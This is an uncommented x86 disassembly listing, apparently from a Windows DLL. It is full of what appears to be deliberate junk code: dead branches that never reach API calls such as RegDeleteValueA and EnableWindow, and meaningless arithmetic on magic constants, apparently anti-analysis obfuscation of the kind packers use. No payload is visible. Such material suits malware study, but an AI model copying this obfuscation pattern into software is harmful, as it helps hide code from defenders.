mov eax, dword [ebp - 0x418]
jne 0x10016299
cmp dword [eax + 4], ebx
je 0x100162a8
cmp dword [eax + 4], ebx
jne 0x100162a8
mov dword [ebp - 0x79c], ebx
mov edx, ebx
jmp 0x100162ae
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
setle al
cmp eax, 0xd994
jle 0x100162d5
cmp dword [ebp - 0x45c], ebx
je 0x100162d5
xor edi, edi
inc edi
mov ecx, edi
jmp 0x100162da
xor edi, edi
mov ecx, ebx
inc edi
mov eax, dword [ebp - 0x418]
cmp ecx, dword [eax + 4]
jl 0x100162ef
mov ecx, ebx
cmp dword [ebp - 0x79c], ebx
je 0x100162f1
mov ecx, edi
xor eax, eax
cmp ecx, 0xad31fc53
mov ecx, 0xf2ca1253
setne al
cmp ecx, eax
lea ecx, [ebp - 0x418]
sbb eax, eax
neg eax
add eax, 0x4f957c33
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
call fcn.10013d7e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x10
jg 0x10016205
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xfffffff3
jl 0x1001639b
push 7
xor ebx, ebx
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], 0xfffffff2
jl 0x10016389
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], bl
je 0x1001637d
push 0x22c
push ebx
push 0x2394
push ebx
push 0x267f
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
jge 0x1001635d
push 7
pop eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff3
jge 0x1001634d
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], 0xfffffff8
xor eax, eax
mov dword [ebp - 0x38], 0x9d693ce8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x100163c7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100163b3
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100163e9
push 0x2466
push 0x183b
push 0x2213
call esi
push eax
xor eax, eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], eax
xor esi, esi
cmp dword [ebp - 0x18], 0x10
jle 0x1001652b
xor ebx, ebx
mov edi, 0xf2ca1253
inc esi
push 3
lea ecx, [ebp - 0x428]
call fcn.100136d3
push 3
mov dword [ebp - 0x24], 0x6ce2e7c5
mov dword [ebp - 0x20], ebx
pop edx
jmp 0x1001642f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x428]
mov dword [eax + ecx*4], 0x5610a143
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1001641c
mov dword [ebp - 0x20], ebx
jmp 0x1001644a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x49c], 0xff57440e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10016439
mov dword [ebp - 0x20], ebx
jmp 0x10016465
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x9c8], 0x27b1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10016454
cmp dword [ebp - 0x18], ebx
jne 0x100164a7
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov dword [ebp - 0x3f4], esi
cmp dword [eax], esi
setle cl
cmp ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x428]
jne 0x10016492
cmp dword [eax + 4], ebx
je 0x100164a1
cmp dword [eax + 4], ebx
jne 0x100164a1
mov dword [ebp - 0x9c4], ebx
mov edx, ebx
jmp 0x100164a9
mov dword [ebp - 0x9c4], esi
mov edx, esi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
setle al
cmp eax, 0xd994
jle 0x100164cb
mov ecx, esi
cmp dword [ebp - 0x49c], ebx
jne 0x100164cd
mov ecx, ebx
mov eax, dword [ebp - 0x428]
cmp ecx, dword [eax + 4]
jl 0x100164e2
mov ecx, ebx
cmp dword [ebp - 0x9c4], ebx
je 0x100164e4
mov ecx, esi
xor eax, eax
cmp ecx, 0xad31fc53
lea ecx, [ebp - 0x428]
setne al
cmp edi, eax
sbb eax, eax
neg eax
add eax, 0x4f957c33
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
call fcn.10013d7e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x10
jg 0x10016400
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
jmp 0x1001652c
inc esi
mov dword [ebp - 0x44], 0xfffffffd
mov ecx, 0x979c
mov dword [ebp - 0x6a8], ecx
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x6a0], ecx
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x34], 0x75ee4c20
mov dword [ebp - 0x20], 0x718e5034
mov dword [ebp - 0x48], 0x1ebdc590
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10016584
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10016570
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffffe
jg 0x10016715
lea ecx, [ebp - 0xa7c]
lea edx, [ebp - 0xa6c]
movdqa xmm0, xmmword [0x10008130]
lea eax, [ebp - 0xd5]
push eax
push edx
push ecx
lea ecx, [ebp - 0x920]
movdqu xmmword [ebp - 0xa7c], xmm0
call fcn.10013715
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x7b8]
mov dword [ebp - 0x50], 0x5f8d9a2b
mov dword [ebp - 0x38], 0xc7153413
push 3
call fcn.100136d3
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10016603
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x7b8]
mov dword [eax + ecx*4], 0xe8cc1958
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100165f0
mov dword [ebp - 0x44], 0xfffffffa
mov eax, dword [ebp - 0x6a4]
mov edi, dword [ebp - 0x920]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push 5
mov ecx, dword [edi + 8]
sub ecx, eax
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov esi, dword [edi + 8]
sub ecx, dword [eax + 0xc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov eax, dword [ebp - 0x84]
setg dl
xor ebx, ebx
cmp esi, edx
setle bl
xor ecx, ecx
imul ebx, esi
cmp ebx, eax
pop eax
setne cl
cmp ecx, eax
jne 0x1001667a
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1001667c
xor esi, esi
inc esi
mov eax, esi
jmp 0x1001667f
xor eax, eax
xor esi, esi
inc esi
sub eax, dword [edi + 8]
je 0x1001669d
cmp dword [edi + 8], 0
je 0x1001669d
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100166ce
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
jmp 0x100166ce
xor eax, eax
cmp dword [ebp - 0x50], eax
ja 0x100166b4
mov eax, dword [ebp - 0x7b8]
cmp dword [eax + 8], 0
jne 0x100166b4
xor eax, eax
jmp 0x100166b6
mov eax, esi
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100166ce
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea ecx, [ebp - 0x7b8]
call fcn.10013d7e
or eax, 0xffffffff
lea ecx, [ebp - 0x920]
mov dword [ebp - 4], eax
call fcn.10013d7e
dec dword [ebp - 0x84]
lea ecx, [ebp - 0xa7c]
cmp dword [ebp - 0x84], 0xfffffffe
lea edx, [ebp - 0xa6c]
jle 0x100165a3
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov dword [ebp - 0x20], 0x13
or ecx, 0xffffffff
cmp dword [ebp - 0x20], ecx
je 0x100167e2
xor ebx, ebx
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x50], 0x5ddb
mov dword [ebp - 0x38], 0xeb45d954
cmp dword [ebp - 0x20], ebx
je 0x10016777
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6a0]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x20]
jg 0x10016771
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, esi
cmp dword [ebp - 0x1c], ebx
jne 0x10016783
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
add eax, ecx
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x84], ebx
je 0x100167a4
mov eax, dword [ebp - 0x1c]
mov edx, esi
imul eax, dword [ebp - 0x34]
neg eax
jne 0x100167a6
mov edx, ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov dword [ebp - 0x50], ecx
or ecx, 0xffffffff
cmp dword [ebp - 0x50], ecx
jne 0x100167c2
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
inc eax
sub edx, eax
mov dword [ebp - 0x38], edx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jne 0x1001672a
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x14], 0x5b0e446d
xor eax, eax
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x1c], 0x55145ccb
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xa27289ff
mov dword [ebp - 0x2c], 0xccd2466e
mov dword [ebp - 0x50], 0x3e623b47
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x58], esi
push 7
pop eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
je 0x10016847
cmp dword [ebp - 0x44], eax
je 0x10016847
mov eax, esi
mov ecx, dword [ebp - 0x50]
add ecx, eax
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x50]
cmp ecx, eax
jl 0x1001685a
mov eax, esi
jmp 0x1001685c
xor eax, eax
xor edx, edx
cmp eax, 0x3ac
mov eax, dword [ebp - 0x14]
setne dl
neg eax
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x14]
cmp ecx, 0x9f9034e1
setne al
cmp esi, eax
sbb edx, edx
xor ecx, ecx
neg edx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x14]
jne 0x100168b4
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x100168b6
mov eax, esi
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x100168c6
mov eax, dword [ebp - 0x58]
dec dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x20]
jg 0x100168dd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
sub edx, 0x14c6d
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edx
setle cl
xor eax, eax
add ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x1c]
cmp ecx, 0xfffffff8
setne al
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0xdcbc
setle al
cmp eax, dword [ebp - 0x1c]
jle 0x10016965
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x1001695c
push 0x22c
push eax
push 0x2394
push eax
push 0x267f
push eax
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [ebp - 0x20], 8
jmp 0x100169a3
mov dword [ebp - 0x34], 0x11b4
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100169a3
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x48], 0x75c96dd1
lea ecx, [ebp - 0x7d0]
mov dword [ebp - 0x14], 0x60477862
push 2
call fcn.100136d3
push 5
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0xb7c]
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
push 2
call fcn.100136d3
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x100169fe
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7d0]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100169e4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10016a20
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb7c]
mov dword [eax + ecx*4], 0x5300ce3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10016a06
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10016a47
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016a44
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffef
jl 0x10016a25
mov eax, dword [ebp - 0x7d0]
lea ecx, [ebp - 0xb7c]
and dword [eax + 4], 0
call fcn.10013d7e
or eax, 0xffffffff
lea ecx, [ebp - 0x7d0]
mov dword [ebp - 4], eax
call fcn.10013d7e
mov dword [ebp - 0x20], 0xdf2f4a8b
lea ecx, [ebp - 0x368]
push 2
call fcn.100136d3
mov dword [ebp - 0x2c], 0xfffffffa
xor eax, eax
mov dword [ebp - 0x14], 0xbecc
mov dword [ebp - 0x24], 0x72157666
mov dword [ebp - 0x24], 0x21494fb3
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10016ad0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x368]
mov dword [eax + ecx*4], 0xb58e469a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10016ab5
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10016ae6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1cc], 0x9de3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10016ad5
mov esi, dword [ebp - 0x368]
push 0xfffffffffffffff8
pop eax
sub eax, dword [esi + 4]
cmp dword [ebp - 0x2c], eax
jl 0x10016ba7
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10016b15
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
inc edx
push 5
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0x90ae
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x368]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
add eax, dword [esi + 4]
jne 0x10016b4a
cmp dword [ebp - 0x14], eax
je 0x10016b4c
mov eax, edx
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x368]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
call fcn.10013d7e
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x20], eax
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
push 5
pop eax
mov dword [ebp - 0x2c], eax
push 9
pop eax
mov dword [ebp - 0x20], eax
xor eax, eax
push 2
mov dword [ebp - 0x1c], 0x44142b91
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10016c4a
xor eax, eax
xor edx, edx
mov dword [ebp - 0x24], eax
inc edx
mov dword [ebp - 0x50], 0x72b90f99
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x10016bd6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3fc], 0xbdebf889
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10016bbe
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016bea
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x368]
cmp dword [eax], 0
jne 0x10016c21
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp eax, 0xd018
mov eax, dword [ebp - 0x368]
setle cl
imul ecx, dword [eax]
mov dword [ebp - 0x50], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x50]
cmp eax, 0xfdc8
setge cl
mov dword [ebp - 0x3fc], ecx
mov eax, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [esi + 4], edx
setne al
mov dword [ebp - 0x2c], eax
jmp 0x10016b18
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x698], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10016c3d
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, 0xe9ab5c29
setne cl
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x18]
jne 0x10016c9f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov esi, dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10016d65
movdqa xmm0, xmmword [0x10008110]
lea eax, [ebp - 0xdd]
push eax
lea ecx, [ebp - 0xf34]
push ecx
lea edx, [ebp - 0xf44]
push edx
lea ecx, [ebp - 0x10a8]
movdqu xmmword [ebp - 0xf44], xmm0
call fcn.10013715
push 6
pop eax
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], eax
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x10016d3a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x6bc]
add eax, 0x5876
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10016d12
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016d55
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
lea ecx, [ebp - 0x10a8]
call fcn.10013d7e
jmp 0x10016e62
mov dword [ebp - 0x50], 0xfffe
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x3c], 0xf1717c26
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jg 0x10016da0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10016da2
xor edx, edx
inc edx
mov eax, edx
jmp 0x10016da5
xor eax, eax
xor edx, edx
inc edx
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10016dfb
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x698]
mov eax, dword [ebp - 0x18]
add eax, ecx
mov ecx, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
neg ecx
je 0x10016de3
cmp dword [ebp - 0x20], eax
je 0x10016de3
mov eax, edx
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov eax, dword [ebp - 0x698]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
jne 0x10016dfb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x14], eax
mov byte [ebp - 0x2d], al
je 0x10016e49
cmp byte [ebp - 0x2d], al
je 0x10016e2a
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016e64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
jmp 0x10016e62
cmp byte [ebp - 0x2d], al
je 0x10016e64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
xor eax, eax
mov dword [ebp - 0x20], 0xc
cmp dword [ebp - 0x20], 0xfffffff3
jle 0x10017211
jmp 0x10016e79
mov dword [ebp - 0x2c], 0xc692
mov dword [ebp - 0x18], 0xf7d1
mov dword [ebp - 0x24], 0xd3cd3624
mov dword [ebp - 0x14], 0xc28cbd6c
cmp dword [ebp - 0x2c], eax
je 0x10016f1f
mov dword [ebp - 0x34], 0xf16efa42
xor ecx, ecx
or edx, 0xffffffff
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
cmp eax, 0x290ce96f
setne cl
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
cmp eax, edx
setge cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10016f60
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
jmp 0x10016f5b
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10016f2e
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [ebp - 0x14], 0x1a
cmp dword [ebp - 0x14], 0x1c
jle 0x10016f5b
xor ebx, ebx
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], bl
je 0x10016f4c
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1c
jg 0x10016f3d
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
or edx, 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x10016f86
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa0], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10016f72
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10017033
mov dword [ebp - 0x18], 0x29bf390
mov dword [ebp - 0x40], 0x8530de9b
mov dword [ebp - 0x40], 0x274952f3
mov dword [ebp - 0x40], 0x88753e1e
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x10016fdd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], ecx
dec dword [ebp - 0x18]
jns 0x10016fbf
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x18], eax
jmp 0x1001702b
mov dword [ebp - 0x40], 0x8b081589
mov dword [ebp - 0x40], 0xea388845
mov dword [ebp - 0x40], 0x72b90f99
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x24], 0xb462
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10017025
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdd8], 0x89e022a5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001700d
xor eax, eax
inc dword [ebp - 0x24]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10016fe2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10016f8e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10017081
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x10017073
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10017055
xor eax, eax
inc dword [ebp - 0x1c]
